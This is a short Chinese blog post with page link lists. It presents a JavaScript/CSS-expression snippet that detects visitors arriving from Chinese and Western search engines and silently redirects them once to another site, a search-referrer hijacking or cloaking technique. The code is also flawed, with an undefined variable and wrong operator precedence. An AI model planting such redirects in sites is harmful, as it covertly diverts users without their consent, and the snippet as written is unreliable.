JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
利用js实现遮罩以及弹出可移动登录窗口
Jul 08 Javascript
jquery实现类似淘宝星星评分功能有截图
Sep 15 Javascript
js调试工具Console命令详解
Oct 21 Javascript
详解vue数据渲染出现闪烁问题
Jun 29 Javascript
Vue页面骨架屏注入方法
May 13 Javascript
三种Webpack打包方式(小结)
Sep 19 Javascript
React手稿之 React-Saga的详解
Nov 12 Javascript
详解 微信小程序开发框架(MINA)
May 17 Javascript
node.js中path路径模块的使用方法实例分析
Feb 13 Javascript
Object.keys() 和 Object.getOwnPropertyNames() 的区别详解
May 21 Javascript
js 动态校验开始结束时间的实现代码
May 25 Javascript
深入解析微信小程序开发中遇到的几个小问题
Jul 11 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
php记录日志的实现代码
2011/08/08 PHP
APACHE的AcceptPathInfo指令使用介绍
2013/01/18 PHP
Linux下创建nginx脚本-start、stop、reload…
2014/08/03 PHP
Codeigniter发送邮件的方法
2015/03/19 PHP
PHP消息队列用法实例分析
2016/02/12 PHP
微信公众平台开发(五) 天气预报功能开发
2016/12/03 PHP
总结的一些PHP开发中的tips(必看篇)
2017/03/24 PHP
Laravel 5.5 的自定义验证对象/类示例代码详解
2017/08/29 PHP
JavaScript URL参数读取改进版
2009/01/16 Javascript
浅析javascript中function 的 length 属性
2014/05/27 Javascript
js实现window.open不被拦截的解决方法汇总
2014/10/30 Javascript
Javascript生成全局唯一标识符(GUID,UUID)的方法
2016/02/27 Javascript
js中使用使用原型(prototype)定义方法的好处详解
2016/07/04 Javascript
js enter键激发事件实例代码
2016/08/17 Javascript
新手vue构建单页面应用实例代码
2017/09/18 Javascript
认识jQuery的Promise的具体使用方法
2017/10/10 jQuery
简单介绍react redux的中间件的使用
2018/04/06 Javascript
浅谈微信页面入口文件被缓存解决方案
2018/09/29 Javascript
vue cli4.0项目引入typescript的方法
2020/07/17 Javascript
Element InputNumber 计数器的实现示例
2020/08/03 Javascript
Vue循环中多个input绑定指定v-model实例
2020/08/31 Javascript
Python获取DLL和EXE文件版本号的方法
2015/03/10 Python
Python与shell的3种交互方式介绍
2015/04/11 Python
Python内存管理方式和垃圾回收算法解析
2017/11/11 Python
python中的闭包函数
2018/02/09 Python
python实现在cmd窗口显示彩色文字
2019/06/24 Python
python多线程与多进程及其区别详解
2019/08/08 Python
使用虚拟环境打包python为exe 文件的方法
2019/08/29 Python
python中Django文件上传方法详解
2020/08/05 Python
法国发饰品牌:Alexandre De Paris
2018/12/04 全球购物
培训自我鉴定
2014/01/31 职场文书
2014年学校国庆主题活动方案
2014/09/16 职场文书
说谎欺骗人检讨书300字
2014/11/18 职场文书
体育教师个人总结
2015/02/09 职场文书
SQL实现LeetCode(180.连续的数字)
2021/08/04 MySQL
redis缓存存储Session原理机制
2021/11/20 Redis